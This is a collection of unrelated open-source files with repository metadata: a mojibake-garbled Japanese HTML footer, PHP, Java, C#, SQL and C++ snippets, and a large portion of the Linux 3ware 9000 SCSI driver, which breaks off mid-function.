<li><a href="http://sapience.com.tw/logs/site-nipponki/02021641127.html">http://sapience.com.tw/logs/site-nipponki/02021641127.html</a></li>
<li><a href="http://sapience.com.tw/logs/site-nipponki/02021634504.html">http://sapience.com.tw/logs/site-nipponki/02021634504.html</a></li>
<li><a href="">åºåæ²è¼ã«ã¤ãã¦</a></li>
<li class="last"><a href="">ãåãåãã</a>
</ul>
<p class="centered xsmall"><small>Copyright © 2016 All rights reserved.</small></p>
</div>
</footer>
<div class="hide">
<div id="preregister-box">
<p class="preregister-title large">ã¹ã¯ã¼ã¿ã¼ï¼ããã·ã¥ãã¤ã¯ï¼ã¬ããï¼ã©ã³ã°ã¹ã¸ã£ãã³ RANGS JAPANã®ããã® è¶³ãããHLS_DUã
</p>
<p class="preregister-text">ã¸ã§ã¤ããªãã<br/>ããããæ¨è£½ã¹ãã¼ããã¤ãã§ã¢3ï¼ããã¥ã©ã«ï¼ æ¥æ¬è²å
Nihonikuji ããã¼ãã§ã¢?å®¶å
· ãã¤ãã§ã¢ ãHLS_DUã,ã¹ã¯ã¼ã¿ã¼ï¼ããã·ã¥ãã¤ã¯ï¼ã¬ããï¼ã©ã³ã°ã¹ã¸ã£ãã³ RANGS JAPANã®ããã® è¶³ãããHLS_DUã
</p>
<p><a href="" class="btn login preregister-login">Twitterã§ã®èªè¨¼ã«é²ã</a></p>
</div>
</div>
</body>
</html>
|
ForAEdesWeb/AEW25
|
logs/site-nipponki/02021649424.html
|
HTML
|
gpl-2.0
| 81,174
|
// La generación de código T4 está habilitada para el modelo 'C:\Proyectos SVN\PRESTLAN\Models\PrestlanModel.edmx'.
// Para habilitar la generación de código heredada, cambie el valor de la propiedad del diseñador 'Estrategia de generación de código'
// por 'ObjectContext heredado'. Esta propiedad está disponible en la ventana Propiedades cuando se abre
// el modelo en el diseñador.
// Si no se ha generado ninguna clase de contexto y de entidad, puede que haya creado un modelo vacío pero
// no haya elegido todavía la versión de Entity Framework que se va a usar. Para generar una clase de contexto y clases de entidad
// para el modelo, abra el modelo en el diseñador, haga clic con el botón secundario en la superficie del diseñador y
// seleccione 'Actualizar modelo desde base de datos...', 'Generar base de datos desde modelo...' o 'Agregar elemento de generación
// de código...'.
|
alfre/Prestlan
|
Models/PrestlanModel.Designer.cs
|
C#
|
gpl-2.0
| 914
|
<?php
// No direct access
defined('_JEXEC') or die;
jimport('joomla.application.component.view');
class PropertyViewAgent extends JView
{
protected $form;
protected $item;
protected $state;
public function display($tpl = null)
{
// Initialiase variables.
$this->form = $this->get('Form');
$this->item = $this->get('Item');
$this->state = $this->get('State');
// Check for errors.
if (count($errors = $this->get('Errors'))) {
JError::raiseError(500, implode("\n", $errors));
return false;
}
$this->addToolbar();
parent::display($tpl);
}
protected function addToolbar()
{
JRequest::setVar('hidemainmenu', true);
$user = JFactory::getUser();
$isNew = ($this->item->id == 0);
$checkedOut = !($this->item->checked_out == 0 || $this->item->checked_out == $user->get('id'));
//$canDo = PropertyHelper::getActions($this->state->get('filter.category_id'));
$canDo = PropertyMenuHelper::getActions();
JToolBarHelper::title($isNew ? JText::_('Add Agent') : JText::_('Edit Agent'), 'banners.png');
// If not checked out, can save the item.
if (!$checkedOut && ($canDo->get('core.edit')||$canDo->get('core.create'))) {
JToolBarHelper::apply('agent.apply', 'JTOOLBAR_APPLY');
JToolBarHelper::save('agent.save', 'JTOOLBAR_SAVE');
}
if (!$checkedOut && $canDo->get('core.create')) {
JToolBarHelper::custom('agent.save2new', 'save-new.png', 'save-new_f2.png', 'JTOOLBAR_SAVE_AND_NEW', false);
}
// If an existing item, can save to a copy.
if (!$isNew && $canDo->get('core.create')) {
JToolBarHelper::custom('agent.save2copy', 'save-copy.png', 'save-copy_f2.png', 'JTOOLBAR_SAVE_AS_COPY', false);
}
if (empty($this->item->id))
JToolBarHelper::cancel('agent.cancel','JTOOLBAR_CANCEL');
else
JToolBarHelper::cancel('agent.cancel', 'JTOOLBAR_CLOSE');
JToolBarHelper::divider();
JToolBarHelper::help('Agent');
}
}
|
djoudi/cambodian-property-today
|
administrator/components/com_property/views/agent/view.html.php
|
PHP
|
gpl-2.0
| 2,164
|
package com.savanto.correspondencechess;
import android.content.Context;
import android.view.MotionEvent;
import android.view.View;
import android.widget.RelativeLayout;
/**
* Extension of the View class to allow easy creation and manipulation
* of views containing chess pieces.
*/
public class PieceView extends View
{
public PieceView(Context context)
{
super(context);
}
/**
* Produces graphic chess PieceView from given Piece.
* @param context
* @param resid - the resource id of the Drawable to use for this PieceView.
* @param size - the size to make the graphical PieceView.
* @param coords - rank and file Coordinates of the piece on the board.
*/
public PieceView(Context context, int resid, final int size, final Coordinates coords)
{
super(context);
// Set background to Drawable
setBackgroundResource(resid);
// Set position
RelativeLayout.LayoutParams lp = new RelativeLayout.LayoutParams(size, size);
lp.leftMargin = coords.x * size;
lp.topMargin = coords.y * size;
setLayoutParams(lp);
// OnTouchListener listens for user interaction with the PieceView
setOnTouchListener(new OnTouchListener()
{
// Initial position of the PieceView, prior to move.
private int leftMargin, topMargin;
@Override
public boolean onTouch(View view, MotionEvent event)
{
// Get the PieceView being touched, and its LayoutParams for position updating.
PieceView pieceView = (PieceView) view;
RelativeLayout.LayoutParams lp = (RelativeLayout.LayoutParams) pieceView.getLayoutParams();
// Which touch event is occuring
switch (event.getAction())
{
// The touch has just started
case MotionEvent.ACTION_DOWN:
// PieceView has been touched. Bring it
// in front of all other views.
pieceView.bringToFront();
// Get the PieceView's parent and ask it to redraw itself.
RelativeLayout parent = (RelativeLayout) pieceView.getParent();
parent.requestLayout();
parent.invalidate();
// TODO
// Record PieceView's initial coordinates
leftMargin = lp.leftMargin;
topMargin = lp.topMargin;
break;
// The touch event continues
case MotionEvent.ACTION_MOVE:
// The PieceView is being moved. Update
// its raw coordinates.
lp.leftMargin = (int) event.getRawX() - size / 2;
lp.topMargin = (int) event.getRawY() - size * 2;
pieceView.setLayoutParams(lp);
break;
// The touch event ends
case MotionEvent.ACTION_UP:
// The PieceView is released. Calculate its
// final position and set it down squarely.
// TODO check for legality, captures, special moves (en passant, castle, promotion)
if (false)
{
lp.leftMargin = leftMargin;
lp.topMargin = topMargin;
}
else
{
// TODO record completed moves, allow step-by-step undo
lp.leftMargin = (int) event.getRawX() / size * size;
lp.topMargin = ((int) event.getRawY() / size - 1) * size;
}
pieceView.setLayoutParams(lp);
break;
}
return true;
}
});
}
}
|
savanto/CorrespondenceChess-Android
|
src/com/savanto/correspondencechess/PieceView.java
|
Java
|
gpl-2.0
| 3,118
|
CREATE TABLE IF NOT EXISTS `#__item_costs` (
`id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT,
`ordering` INT(11) NOT NULL ,
`state` TINYINT(1) NOT NULL DEFAULT '1',
`checked_out` INT(11) NOT NULL ,
`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`created_by` INT(11) NOT NULL ,
`code` VARCHAR(25) NOT NULL ,
`description` VARCHAR(250) NOT NULL ,
`cost` DECIMAL(10,2) NOT NULL ,
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT COLLATE=utf8_general_ci;
|
adster101/French-Connections-
|
administrator/components/com_itemcosts/sql/install.mysql.utf8.sql
|
SQL
|
gpl-2.0
| 473
|
/**
*
*/
package fr.hervedarritchon.soe.soebackend.exception;
/**
* @author Hervé Darritchon (@hervDarritchon)
*
*/
public class CannotCreateUserException extends Exception {
public CannotCreateUserException(final String message) {
super(message);
}
/**
*
*/
private static final long serialVersionUID = -1655114199335112310L;
}
|
herveDarritchon/soebackend
|
src/main/java/fr/hervedarritchon/soe/soebackend/exception/CannotCreateUserException.java
|
Java
|
gpl-2.0
| 349
|
#include "skewnessfeature.h"
using Romeo::Model::Core::Feature::SkewnessFeature;
using Romeo::Model::Core::Feature::StandardDeviationFeature;
using Romeo::Model::Core::Feature::FirstOrderFeature;
using Romeo::Model::Core::InternalData;
using Romeo::Model::Core::InternalData2D;
using Romeo::Model::Core::InternalData3D;
using Romeo::Model::Core::Feature::MeanFeature;
using Romeo::Model::Core::RGBImage2D;
using Romeo::Model::Core::RGBImage3D;
SkewnessFeature::SkewnessFeature(int idFeat) : FirstOrderFeature(Utils::FEATURE_SKEWNESS, idFeat){
}
SkewnessFeature::SkewnessFeature(const QStringList& parameters, int idFeat)
: FirstOrderFeature(Utils::FEATURE_SKEWNESS, parameters, idFeat)
{
}
InternalData2D* SkewnessFeature::singleChannelEXecution2D(InternalData2D* channel)
{
InternalData2D::ImageType::Pointer image = channel->getImage();
MeanFeature meanFeature(getParameters());
InternalData2D::ImageType::Pointer meanImg = meanFeature.singleChannelEXecution2D(channel)->getImage();
StandardDeviationFeature stdDeviation(getParameters());
InternalData2D::ImageType::Pointer stdImg = stdDeviation.singleChannelEXecution2D(channel)->getImage();
InternalData2D* output = new InternalData2D(channel->getXSize(), channel->getYSize());
InternalData2D::ImageType::Pointer outputImg = output->getImage();
InternalData2D::NeighborhoodIteratorInternalType::RadiusType radius;
radius.Fill(getWindowSize()/2);
InternalData2D::NeighborhoodIteratorInternalType it(radius, image, image->GetRequestedRegion());
InternalData2D::RegionIteratorInternalType outIt(outputImg, outputImg->GetRequestedRegion());
InternalData2D::RegionIteratorInternalType meanIt(meanImg, meanImg->GetRequestedRegion());
InternalData2D::RegionIteratorInternalType stdIt(stdImg, stdImg->GetRequestedRegion());
int size = pow(getWindowSize(),2.0);
for(it.GoToBegin(), outIt.GoToBegin(), meanIt.GoToBegin(), stdIt.GoToBegin();
!it.IsAtEnd(); ++it, ++outIt, ++meanIt,++stdIt)
{
// skewness
float sum3 = 0;
for(int i=0; i<size; ++i){
float meanValue = meanIt.Value();
float x = it.GetPixel(i) - meanValue;
float y = pow(x,3.0);
sum3 += y;
}
float stdValue = stdIt.Value();
float val3 = sum3 / size;
float stdValueAllaTerza = pow(stdValue,3.0);
outIt.Set(val3/stdValueAllaTerza);
}
//delete channel;
return output;
}
InternalData3D* SkewnessFeature::singleChannelEXecution3D(InternalData3D* channel)
{
InternalData3D::ImageType::Pointer image = channel->getImage();
MeanFeature meanFeature(getParameters());
InternalData3D::ImageType::Pointer meanImg = meanFeature.singleChannelEXecution3D(channel)->getImage();
StandardDeviationFeature stdDeviation(getParameters());
InternalData3D::ImageType::Pointer stdImg = stdDeviation.singleChannelEXecution3D(channel)->getImage();
InternalData3D* output = new InternalData3D(channel->getXSize(), channel->getYSize(), channel->getZSize());
InternalData3D::ImageType::Pointer outputImg = output->getImage();
InternalData3D::NeighborhoodIteratorInternalType::RadiusType radius;
radius.Fill(getWindowSize()/2);
InternalData3D::NeighborhoodIteratorInternalType it(radius, image, image->GetRequestedRegion());
InternalData3D::RegionIteratorInternalType outIt(outputImg, outputImg->GetRequestedRegion());
InternalData3D::RegionIteratorInternalType meanIt(meanImg, meanImg->GetRequestedRegion());
InternalData3D::RegionIteratorInternalType stdIt(stdImg, stdImg->GetRequestedRegion());
int size = pow(getWindowSize(),3.0);
for(it.GoToBegin(), outIt.GoToBegin(), meanIt.GoToBegin(), stdIt.GoToBegin();
!it.IsAtEnd(); ++it, ++outIt, ++meanIt,++stdIt)
{
// skewness
float sum3 = 0;
for(int i=0; i<size; ++i){
float meanValue = meanIt.Value();
float x = it.GetPixel(i) - meanValue;
float y = pow(x,3.0);
sum3 += y;
}
float stdValue = stdIt.Value();
float val3 = sum3 / size;
float stdValueAllaTerza = pow(stdValue,3.0);
outIt.Set(val3/stdValueAllaTerza);
}
//delete channel;
return output;
}
SkewnessFeature::~SkewnessFeature()
{
}
|
NicolaMagnabosco/Romeo
|
RomeoCode/model/core/feature/skewnessfeature.cpp
|
C++
|
gpl-2.0
| 4,479
|
#include <iostream>
#include <ctime>
#include <QString>
#include <QInputDialog>
#include "mainwindow.h"
#include "ui_mainwindow.h"
#include "solution.hpp"
MainWindow::MainWindow(QWidget* parent) :
QMainWindow(parent),
ui(new Ui::MainWindow)
{
ui->setupUi(this);
results = new ResultsModel();
ui->resultsView->setModel(results);
ui->resultsView->verticalHeader()->hide();
}
MainWindow::~MainWindow()
{
delete ui;
delete results;
}
void MainWindow::on_actionRun_test_Solution_triggered()
{
// std::cout << "0\t60\t3600\t3600000\t143412" << std::endl;
// std::cout << Solution::TimeToString(0) << std::endl;
// std::cout << Solution::TimeToString(3600) << std::endl;
// std::cout << Solution::TimeToString(3600000) << std::endl;
// std::cout << Solution::TimeToString(143412) << std::endl;
}
void MainWindow::on_actionRun_test_ResultsModel_triggered()
{
Solution s(time(NULL), time(NULL) + 12454, "asdasd", "");
results->addSolution(s);
s.setStart(s.getEnd() + 1000);
s.setEnd(s.getStart() + 10000);
results->addSolution(s);
results->addSolution(Solution(time(NULL) + 1400, time(NULL) + 5000));
results->addSolution(Solution(time(NULL) + 1700, time(NULL) + 8500));
results->addSolution(Solution(time(NULL) + 5000, time(NULL) + 10544));
}
void MainWindow::on_actionAdd_time_triggered()
{
QString t = QInputDialog::getText(NULL, "ASD", "asd");
long int tm = atoi(t.toStdString().c_str());
results->addSolution(Solution(time(NULL) - tm, time(NULL)));
}
|
trombipeti/qbtimer
|
mainwindow.cpp
|
C++
|
gpl-2.0
| 1,568
|
#include <linux/module.h>
#include <linux/reboot.h>
#include <linux/spinlock.h>
#include <linux/interrupt.h>
#include <linux/moduleparam.h>
#include <linux/errno.h>
#include <linux/types.h>
#include <linux/delay.h>
#include <linux/pci.h>
#include <linux/time.h>
#include <linux/mutex.h>
#include <linux/smp_lock.h>
#include <linux/slab.h>
#include <asm/io.h>
#include <asm/irq.h>
#include <asm/uaccess.h>
#include <scsi/scsi.h>
#include <scsi/scsi_host.h>
#include <scsi/scsi_tcq.h>
#include <scsi/scsi_cmnd.h>
#include "3w-9xxx.h"
/* Globals */
#define TW_DRIVER_VERSION "2.26.02.014"
static TW_Device_Extension *twa_device_extension_list[TW_MAX_SLOT];
static unsigned int twa_device_extension_count;
static int twa_major = -1;
extern struct timezone sys_tz;
/* Module parameters */
MODULE_AUTHOR ("LSI");
MODULE_DESCRIPTION ("3ware 9000 Storage Controller Linux Driver");
MODULE_LICENSE("GPL");
MODULE_VERSION(TW_DRIVER_VERSION);
static int use_msi = 0;
module_param(use_msi, int, S_IRUGO);
MODULE_PARM_DESC(use_msi, "Use Message Signaled Interrupts. Default: 0");
/* Function prototypes */
static void twa_aen_queue_event(TW_Device_Extension *tw_dev, TW_Command_Apache_Header *header);
static int twa_aen_read_queue(TW_Device_Extension *tw_dev, int request_id);
static char *twa_aen_severity_lookup(unsigned char severity_code);
static void twa_aen_sync_time(TW_Device_Extension *tw_dev, int request_id);
static long twa_chrdev_ioctl(struct file *file, unsigned int cmd, unsigned long arg);
static int twa_chrdev_open(struct inode *inode, struct file *file);
static int twa_fill_sense(TW_Device_Extension *tw_dev, int request_id, int copy_sense, int print_host);
static void twa_free_request_id(TW_Device_Extension *tw_dev,int request_id);
static void twa_get_request_id(TW_Device_Extension *tw_dev, int *request_id);
static int twa_initconnection(TW_Device_Extension *tw_dev, int message_credits,
u32 set_features, unsigned short current_fw_srl,
unsigned short current_fw_arch_id,
unsigned short current_fw_branch,
unsigned short current_fw_build,
unsigned short *fw_on_ctlr_srl,
unsigned short *fw_on_ctlr_arch_id,
unsigned short *fw_on_ctlr_branch,
unsigned short *fw_on_ctlr_build,
u32 *init_connect_result);
static void twa_load_sgl(TW_Device_Extension *tw_dev, TW_Command_Full *full_command_packet, int request_id, dma_addr_t dma_handle, int length);
static int twa_poll_response(TW_Device_Extension *tw_dev, int request_id, int seconds);
static int twa_poll_status_gone(TW_Device_Extension *tw_dev, u32 flag, int seconds);
static int twa_post_command_packet(TW_Device_Extension *tw_dev, int request_id, char internal);
static int twa_reset_device_extension(TW_Device_Extension *tw_dev);
static int twa_reset_sequence(TW_Device_Extension *tw_dev, int soft_reset);
static int twa_scsiop_execute_scsi(TW_Device_Extension *tw_dev, int request_id, char *cdb, int use_sg, TW_SG_Entry *sglistarg);
static void twa_scsiop_execute_scsi_complete(TW_Device_Extension *tw_dev, int request_id);
static char *twa_string_lookup(twa_message_type *table, unsigned int aen_code);
static void twa_unmap_scsi_data(TW_Device_Extension *tw_dev, int request_id);
/* Functions */
/* Show some statistics about the card */
static ssize_t twa_show_stats(struct device *dev,
struct device_attribute *attr, char *buf)
{
struct Scsi_Host *host = class_to_shost(dev);
TW_Device_Extension *tw_dev = (TW_Device_Extension *)host->hostdata;
unsigned long flags = 0;
ssize_t len;
spin_lock_irqsave(tw_dev->host->host_lock, flags);
len = snprintf(buf, PAGE_SIZE, "3w-9xxx Driver version: %s\n"
"Current commands posted: %4d\n"
"Max commands posted: %4d\n"
"Current pending commands: %4d\n"
"Max pending commands: %4d\n"
"Last sgl length: %4d\n"
"Max sgl length: %4d\n"
"Last sector count: %4d\n"
"Max sector count: %4d\n"
"SCSI Host Resets: %4d\n"
"AEN's: %4d\n",
TW_DRIVER_VERSION,
tw_dev->posted_request_count,
tw_dev->max_posted_request_count,
tw_dev->pending_request_count,
tw_dev->max_pending_request_count,
tw_dev->sgl_entries,
tw_dev->max_sgl_entries,
tw_dev->sector_count,
tw_dev->max_sector_count,
tw_dev->num_resets,
tw_dev->aen_count);
spin_unlock_irqrestore(tw_dev->host->host_lock, flags);
return len;
} /* End twa_show_stats() */
/* This function will set a devices queue depth */
static int twa_change_queue_depth(struct scsi_device *sdev, int queue_depth,
int reason)
{
if (reason != SCSI_QDEPTH_DEFAULT)
return -EOPNOTSUPP;
if (queue_depth > TW_Q_LENGTH-2)
queue_depth = TW_Q_LENGTH-2;
scsi_adjust_queue_depth(sdev, MSG_ORDERED_TAG, queue_depth);
return queue_depth;
} /* End twa_change_queue_depth() */
/* Create sysfs 'stats' entry */
static struct device_attribute twa_host_stats_attr = {
.attr = {
.name = "stats",
.mode = S_IRUGO,
},
.show = twa_show_stats
};
/* Host attributes initializer */
static struct device_attribute *twa_host_attrs[] = {
&twa_host_stats_attr,
NULL,
};
/* File operations struct for character device */
static const struct file_operations twa_fops = {
.owner = THIS_MODULE,
.unlocked_ioctl = twa_chrdev_ioctl,
.open = twa_chrdev_open,
.release = NULL
};
/* This function will complete an aen request from the isr */
static int twa_aen_complete(TW_Device_Extension *tw_dev, int request_id)
{
TW_Command_Full *full_command_packet;
TW_Command *command_packet;
TW_Command_Apache_Header *header;
unsigned short aen;
int retval = 1;
header = (TW_Command_Apache_Header *)tw_dev->generic_buffer_virt[request_id];
tw_dev->posted_request_count--;
aen = le16_to_cpu(header->status_block.error);
full_command_packet = tw_dev->command_packet_virt[request_id];
command_packet = &full_command_packet->command.oldcommand;
/* First check for internal completion of set param for time sync */
if (TW_OP_OUT(command_packet->opcode__sgloffset) == TW_OP_SET_PARAM) {
/* Keep reading the queue in case there are more aen's */
if (twa_aen_read_queue(tw_dev, request_id))
goto out2;
else {
retval = 0;
goto out;
}
}
switch (aen) {
case TW_AEN_QUEUE_EMPTY:
/* Quit reading the queue if this is the last one */
break;
case TW_AEN_SYNC_TIME_WITH_HOST:
twa_aen_sync_time(tw_dev, request_id);
retval = 0;
goto out;
default:
twa_aen_queue_event(tw_dev, header);
/* If there are more aen's, keep reading the queue */
if (twa_aen_read_queue(tw_dev, request_id))
goto out2;
else {
retval = 0;
goto out;
}
}
retval = 0;
out2:
tw_dev->state[request_id] = TW_S_COMPLETED;
twa_free_request_id(tw_dev, request_id);
clear_bit(TW_IN_ATTENTION_LOOP, &tw_dev->flags);
out:
return retval;
} /* End twa_aen_complete() */
/* This function will drain aen queue */
static int twa_aen_drain_queue(TW_Device_Extension *tw_dev, int no_check_reset)
{
int request_id = 0;
char cdb[TW_MAX_CDB_LEN];
TW_SG_Entry sglist[1];
int finished = 0, count = 0;
TW_Command_Full *full_command_packet;
TW_Command_Apache_Header *header;
unsigned short aen;
int first_reset = 0, queue = 0, retval = 1;
if (no_check_reset)
first_reset = 0;
else
first_reset = 1;
full_command_packet = tw_dev->command_packet_virt[request_id];
memset(full_command_packet, 0, sizeof(TW_Command_Full));
/* Initialize cdb */
memset(&cdb, 0, TW_MAX_CDB_LEN);
cdb[0] = REQUEST_SENSE; /* opcode */
cdb[4] = TW_ALLOCATION_LENGTH; /* allocation length */
/* Initialize sglist */
memset(&sglist, 0, sizeof(TW_SG_Entry));
sglist[0].length = TW_SECTOR_SIZE;
sglist[0].address = tw_dev->generic_buffer_phys[request_id];
if (sglist[0].address & TW_ALIGNMENT_9000_SGL) {
TW_PRINTK(tw_dev->host, TW_DRIVER, 0x1, "Found unaligned address during AEN drain");
goto out;
}
/* Mark internal command */
tw_dev->srb[request_id] = NULL;
do {
/* Send command to the board */
if (twa_scsiop_execute_scsi(tw_dev, request_id, cdb, 1, sglist)) {
TW_PRINTK(tw_dev->host, TW_DRIVER, 0x2, "Error posting request sense");
goto out;
}
/* Now poll for completion */
if (twa_poll_response(tw_dev, request_id, 30)) {
TW_PRINTK(tw_dev->host, TW_DRIVER, 0x3, "No valid response while draining AEN queue");
tw_dev->posted_request_count--;
goto out;
}
tw_dev->posted_request_count--;
header = (TW_Command_Apache_Header *)tw_dev->generic_buffer_virt[request_id];
aen = le16_to_cpu(header->status_block.error);
queue = 0;
count++;
switch (aen) {
case TW_AEN_QUEUE_EMPTY:
if (first_reset != 1)
goto out;
else
finished = 1;
break;
case TW_AEN_SOFT_RESET:
if (first_reset == 0)
first_reset = 1;
else
queue = 1;
break;
case TW_AEN_SYNC_TIME_WITH_HOST:
break;
default:
queue = 1;
}
/* Now queue an event info */
if (queue)
twa_aen_queue_event(tw_dev, header);
} while ((finished == 0) && (count < TW_MAX_AEN_DRAIN));
if (count == TW_MAX_AEN_DRAIN)
goto out;
retval = 0;
out:
tw_dev->state[request_id] = TW_S_INITIAL;
return retval;
} /* End twa_aen_drain_queue() */
/* This function will queue an event */
static void twa_aen_queue_event(TW_Device_Extension *tw_dev, TW_Command_Apache_Header *header)
{
u32 local_time;
struct timeval time;
TW_Event *event;
unsigned short aen;
char host[16];
char *error_str;
tw_dev->aen_count++;
/* Fill out event info */
event = tw_dev->event_queue[tw_dev->error_index];
/* Check for clobber */
host[0] = '\0';
if (tw_dev->host) {
sprintf(host, " scsi%d:", tw_dev->host->host_no);
if (event->retrieved == TW_AEN_NOT_RETRIEVED)
tw_dev->aen_clobber = 1;
}
aen = le16_to_cpu(header->status_block.error);
memset(event, 0, sizeof(TW_Event));
event->severity = TW_SEV_OUT(header->status_block.severity__reserved);
do_gettimeofday(&time);
local_time = (u32)(time.tv_sec - (sys_tz.tz_minuteswest * 60));
event->time_stamp_sec = local_time;
event->aen_code = aen;
event->retrieved = TW_AEN_NOT_RETRIEVED;
event->sequence_id = tw_dev->error_sequence_id;
tw_dev->error_sequence_id++;
/* Check for embedded error string */
error_str = &(header->err_specific_desc[strlen(header->err_specific_desc)+1]);
header->err_specific_desc[sizeof(header->err_specific_desc) - 1] = '\0';
event->parameter_len = strlen(header->err_specific_desc);
memcpy(event->parameter_data, header->err_specific_desc, event->parameter_len + (error_str[0] == '\0' ? 0 : (1 + strlen(error_str))));
if (event->severity != TW_AEN_SEVERITY_DEBUG)
printk(KERN_WARNING "3w-9xxx:%s AEN: %s (0x%02X:0x%04X): %s:%s.\n",
host,
twa_aen_severity_lookup(TW_SEV_OUT(header->status_block.severity__reserved)),
TW_MESSAGE_SOURCE_CONTROLLER_EVENT, aen,
error_str[0] == '\0' ? twa_string_lookup(twa_aen_table, aen) : error_str,
header->err_specific_desc);
else
tw_dev->aen_count--;
if ((tw_dev->error_index + 1) == TW_Q_LENGTH)
tw_dev->event_queue_wrapped = 1;
tw_dev->error_index = (tw_dev->error_index + 1 ) % TW_Q_LENGTH;
} /* End twa_aen_queue_event() */
/* This function will read the aen queue from the isr */
static int twa_aen_read_queue(TW_Device_Extension *tw_dev, int request_id)
{
char cdb[TW_MAX_CDB_LEN];
TW_SG_Entry sglist[1];
TW_Command_Full *full_command_packet;
int retval = 1;
full_command_packet = tw_dev->command_packet_virt[request_id];
memset(full_command_packet, 0, sizeof(TW_Command_Full));
/* Initialize cdb */
memset(&cdb, 0, TW_MAX_CDB_LEN);
cdb[0] = REQUEST_SENSE; /* opcode */
cdb[4] = TW_ALLOCATION_LENGTH; /* allocation length */
/* Initialize sglist */
memset(&sglist, 0, sizeof(TW_SG_Entry));
sglist[0].length = TW_SECTOR_SIZE;
sglist[0].address = tw_dev->generic_buffer_phys[request_id];
/* Mark internal command */
tw_dev->srb[request_id] = NULL;
/* Now post the command packet */
if (twa_scsiop_execute_scsi(tw_dev, request_id, cdb, 1, sglist)) {
TW_PRINTK(tw_dev->host, TW_DRIVER, 0x4, "Post failed while reading AEN queue");
goto out;
}
retval = 0;
out:
return retval;
} /* End twa_aen_read_queue() */
/* This function will look up an AEN severity string */
static char *twa_aen_severity_lookup(unsigned char severity_code)
{
char *retval = NULL;
if ((severity_code < (unsigned char) TW_AEN_SEVERITY_ERROR) ||
(severity_code > (unsigned char) TW_AEN_SEVERITY_DEBUG))
goto out;
retval = twa_aen_severity_table[severity_code];
out:
return retval;
} /* End twa_aen_severity_lookup() */
/* This function will sync firmware time with the host time */
static void twa_aen_sync_time(TW_Device_Extension *tw_dev, int request_id)
{
u32 schedulertime;
struct timeval utc;
TW_Command_Full *full_command_packet;
TW_Command *command_packet;
TW_Param_Apache *param;
u32 local_time;
/* Fill out the command packet */
full_command_packet = tw_dev->command_packet_virt[request_id];
memset(full_command_packet, 0, sizeof(TW_Command_Full));
command_packet = &full_command_packet->command.oldcommand;
command_packet->opcode__sgloffset = TW_OPSGL_IN(2, TW_OP_SET_PARAM);
command_packet->request_id = request_id;
command_packet->byte8_offset.param.sgl[0].address = TW_CPU_TO_SGL(tw_dev->generic_buffer_phys[request_id]);
command_packet->byte8_offset.param.sgl[0].length = cpu_to_le32(TW_SECTOR_SIZE);
command_packet->size = TW_COMMAND_SIZE;
command_packet->byte6_offset.parameter_count = cpu_to_le16(1);
/* Setup the param */
param = (TW_Param_Apache *)tw_dev->generic_buffer_virt[request_id];
memset(param, 0, TW_SECTOR_SIZE);
param->table_id = cpu_to_le16(TW_TIMEKEEP_TABLE | 0x8000); /* Controller time keep table */
param->parameter_id = cpu_to_le16(0x3); /* SchedulerTime */
param->parameter_size_bytes = cpu_to_le16(4);
/* Convert system time in UTC to local time seconds since last
Sunday 12:00AM */
do_gettimeofday(&utc);
local_time = (u32)(utc.tv_sec - (sys_tz.tz_minuteswest * 60));
schedulertime = local_time - (3 * 86400);
schedulertime = cpu_to_le32(schedulertime % 604800);
memcpy(param->data, &schedulertime, sizeof(u32));
/* Mark internal command */
tw_dev->srb[request_id] = NULL;
/* Now post the command */
twa_post_command_packet(tw_dev, request_id, 1);
} /* End twa_aen_sync_time() */
/* This function will allocate memory and check if it is correctly aligned */
static int twa_allocate_memory(TW_Device_Extension *tw_dev, int size, int which)
{
int i;
dma_addr_t dma_handle;
unsigned long *cpu_addr;
int retval = 1;
cpu_addr = pci_alloc_consistent(tw_dev->tw_pci_dev, size*TW_Q_LENGTH, &dma_handle);
if (!cpu_addr) {
TW_PRINTK(tw_dev->host, TW_DRIVER, 0x5, "Memory allocation failed");
goto out;
}
if ((unsigned long)cpu_addr % (TW_ALIGNMENT_9000)) {
TW_PRINTK(tw_dev->host, TW_DRIVER, 0x6, "Failed to allocate correctly aligned memory");
pci_free_consistent(tw_dev->tw_pci_dev, size*TW_Q_LENGTH, cpu_addr, dma_handle);
goto out;
}
memset(cpu_addr, 0, size*TW_Q_LENGTH);
for (i = 0; i < TW_Q_LENGTH; i++) {
switch(which) {
case 0:
tw_dev->command_packet_phys[i] = dma_handle+(i*size);
tw_dev->command_packet_virt[i] = (TW_Command_Full *)((unsigned char *)cpu_addr + (i*size));
break;
case 1:
tw_dev->generic_buffer_phys[i] = dma_handle+(i*size);
tw_dev->generic_buffer_virt[i] = (unsigned long *)((unsigned char *)cpu_addr + (i*size));
break;
}
}
retval = 0;
out:
return retval;
} /* End twa_allocate_memory() */
/* This function will check the status register for unexpected bits */
static int twa_check_bits(u32 status_reg_value)
{
int retval = 1;
if ((status_reg_value & TW_STATUS_EXPECTED_BITS) != TW_STATUS_EXPECTED_BITS)
goto out;
if ((status_reg_value & TW_STATUS_UNEXPECTED_BITS) != 0)
goto out;
retval = 0;
out:
return retval;
} /* End twa_check_bits() */
/* This function will check the srl and decide if we are compatible */
static int twa_check_srl(TW_Device_Extension *tw_dev, int *flashed)
{
int retval = 1;
unsigned short fw_on_ctlr_srl = 0, fw_on_ctlr_arch_id = 0;
unsigned short fw_on_ctlr_branch = 0, fw_on_ctlr_build = 0;
u32 init_connect_result = 0;
if (twa_initconnection(tw_dev, TW_INIT_MESSAGE_CREDITS,
TW_EXTENDED_INIT_CONNECT, TW_CURRENT_DRIVER_SRL,
TW_9000_ARCH_ID, TW_CURRENT_DRIVER_BRANCH,
TW_CURRENT_DRIVER_BUILD, &fw_on_ctlr_srl,
&fw_on_ctlr_arch_id, &fw_on_ctlr_branch,
&fw_on_ctlr_build, &init_connect_result)) {
TW_PRINTK(tw_dev->host, TW_DRIVER, 0x7, "Initconnection failed while checking SRL");
goto out;
}
tw_dev->tw_compat_info.working_srl = fw_on_ctlr_srl;
tw_dev->tw_compat_info.working_branch = fw_on_ctlr_branch;
tw_dev->tw_compat_info.working_build = fw_on_ctlr_build;
/* Try base mode compatibility */
if (!(init_connect_result & TW_CTLR_FW_COMPATIBLE)) {
if (twa_initconnection(tw_dev, TW_INIT_MESSAGE_CREDITS,
TW_EXTENDED_INIT_CONNECT,
TW_BASE_FW_SRL, TW_9000_ARCH_ID,
TW_BASE_FW_BRANCH, TW_BASE_FW_BUILD,
&fw_on_ctlr_srl, &fw_on_ctlr_arch_id,
